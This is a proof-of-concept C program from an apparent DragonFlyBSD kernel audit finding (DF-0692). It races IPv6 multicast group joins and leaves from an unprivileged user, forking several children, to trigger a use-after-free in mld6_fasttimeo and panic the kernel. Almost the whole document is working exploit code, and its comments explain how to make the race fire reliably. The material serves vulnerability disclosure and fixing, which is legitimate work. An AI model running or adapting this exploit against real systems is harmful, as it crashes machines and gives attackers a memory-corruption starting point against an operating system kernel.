DragonFlyBSD Kernel Audit
DF-0692 / mld_race.c
← back to finding ↓ download raw
/*
 * DF-0692 PoC (v3): race mld6_fasttimeo's walk of in6_multihead against
 * concurrent in6_delmulti, using mass-leave (pure frees, NO immediate rejoin)
 * so freed in6m chunks stay poisoned (debug.use_weird_array=1) long enough for
 * the walker's cached step.i_in6m->in6m_entry.le_next read to hit 0xdeadc0de.
 *
 * Why v1/v2 didn't fire: rejoin re-allocates the just-freed slab chunk (LIFO)
 * within ~1us, overwriting the poison with a valid le_next before the walker
 * (every 200ms) reads it. v3 avoids that by NOT rejoining: bulk-join arms a
 * long list with random ~10s timers (mld6_timers_are_running=1 -> fasttimeo
 * walks every 200ms), then a burst of pure leaves across NCPU frees ~BULK
 * in6m under crit_enter() only (no mld6_token) while CPU0's fasttimeo is
 * mid-walk. The walker's IN6_NEXT_MULTI reads step.i_in6m->le_next from a
 * freed+poisoned chunk -> 0xdeadc0de... -> page fault.
 *
 * Strategy, looped REPEATS times:
 *   1. bulk-join BULK groups on ifindex 1 (grow list, arm timers)
 *   2. sleep ARM secs (let fasttimeo start actively walking + mld6_sendpkt)
 *   3. fork NCPU children, each leaves BULK/NCPU groups as fast as possible
 *      (pure frees -> all freed chunks poisoned, no rejoin to un-poison them)
 *   4. rejoin those groups (after the free burst) to reset for next loop
 *
 * Build: cc -O2 -o mld_race mld_race.c
 * Run  : ./mld_race        (unpriv user; ~REPEATS*(ARM+2) sec)
 *
 * Precondition (set as root, diagnostic only -- proves the primitive):
 *   sysctl debug.use_weird_array=1     # with-src baseline already sets this
 *
 * Expected: kernel panic "fatal trap 12" page-fault in mld6_fasttimeo /
 *   IN6_NEXT_MULTI dereferencing 0xdeadc0de00000000 (poisoned freed in6m).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#ifndef IPV6_JOIN_GROUP
#define IPV6_JOIN_GROUP  12
#endif
#ifndef IPV6_LEAVE_GROUP
#define IPV6_LEAVE_GROUP 13
#endif

#define IFINDEX  1
#define BULK    240
#define NCPU     6
#define ARM      3        /* secs to let fasttimeo start walking before burst */
#define REPEATS  40

static int g_sock = -1;
static struct in6_addr g_addrs[BULK];

static void mkaddr(struct in6_addr *a, unsigned idx)
{
    memset(a, 0, sizeof(*a));
    a->s6_addr[0] = 0xff;
    a->s6_addr[1] = 0x02;
    /* vary the low two bytes so each idx is a distinct group */
    a->s6_addr[14] = (uint8_t)(0x10 + (idx >> 4));
    a->s6_addr[15] = (uint8_t)(0x10 + (idx & 0x0f));
}

static int join(unsigned idx)
{
    struct ipv6_mreq m = { .ipv6mr_multiaddr = g_addrs[idx], .ipv6mr_interface = IFINDEX };
    return setsockopt(g_sock, IPPROTO_IPV6, IPV6_JOIN_GROUP, &m, sizeof(m));
}
static int leave(unsigned idx)
{
    struct ipv6_mreq m = { .ipv6mr_multiaddr = g_addrs[idx], .ipv6mr_interface = IFINDEX };
    return setsockopt(g_sock, IPPROTO_IPV6, IPV6_LEAVE_GROUP, &m, sizeof(m));
}

/* child: leave a contiguous slice [lo,hi) as fast as possible */
static void leave_child(unsigned lo, unsigned hi)
{
    unsigned i;
    for (i = lo; i < hi; i++)
        leave(i);
    _exit(0);
}

int main(void)
{
    int rep, w, status, rc;
    pid_t pids[NCPU];
    unsigned per, lo, hi;

    g_sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (g_sock < 0) { perror("socket"); return 1; }
    for (rep = 0; rep < BULK; rep++) mkaddr(&g_addrs[rep], rep);

    fprintf(stderr,
      "DF-0692 v3 mass-leave race: BULK=%d NCPU=%d ARM=%ds REPEATS=%d\n",
      BULK, NCPU, ARM, REPEATS);
    fprintf(stderr, "watch dfbsd-qemu/boot.log for 'fatal trap' in mld6_fasttimeo\n");

    per = (BULK + NCPU - 1) / NCPU;
    for (rep = 0; rep < REPEATS; rep++) {
        /* 1. bulk-join (grow list, arm timers) */
        for (w = 0; w < BULK; w++) { rc = join(w); (void)rc; }
        /* 2. arm: let fasttimeo start actively walking */
        sleep(ARM);
        /* 3. mass-leave burst across NCPU children (pure frees, no rejoin) */
        for (w = 0; w < NCPU; w++) {
            lo = w * per;
            hi = (lo + per > BULK) ? BULK : lo + per;
            pids[w] = fork();
            if (pids[w] == 0) leave_child(lo, hi);
        }
        for (w = 0; w < NCPU; w++)
            if (pids[w] > 0) waitpid(pids[w], &status, 0);
        /* 4. drain any stragglers, brief pause */
        for (w = 0; w < BULK; w++) leave(w);
        usleep(200000);
        fprintf(stderr, "repeat %d/%d done\n", rep + 1, REPEATS);
    }
    close(g_sock);
    fprintf(stderr, "no panic observed from userspace; check boot.log for kernel trap\n");
    return 0;
}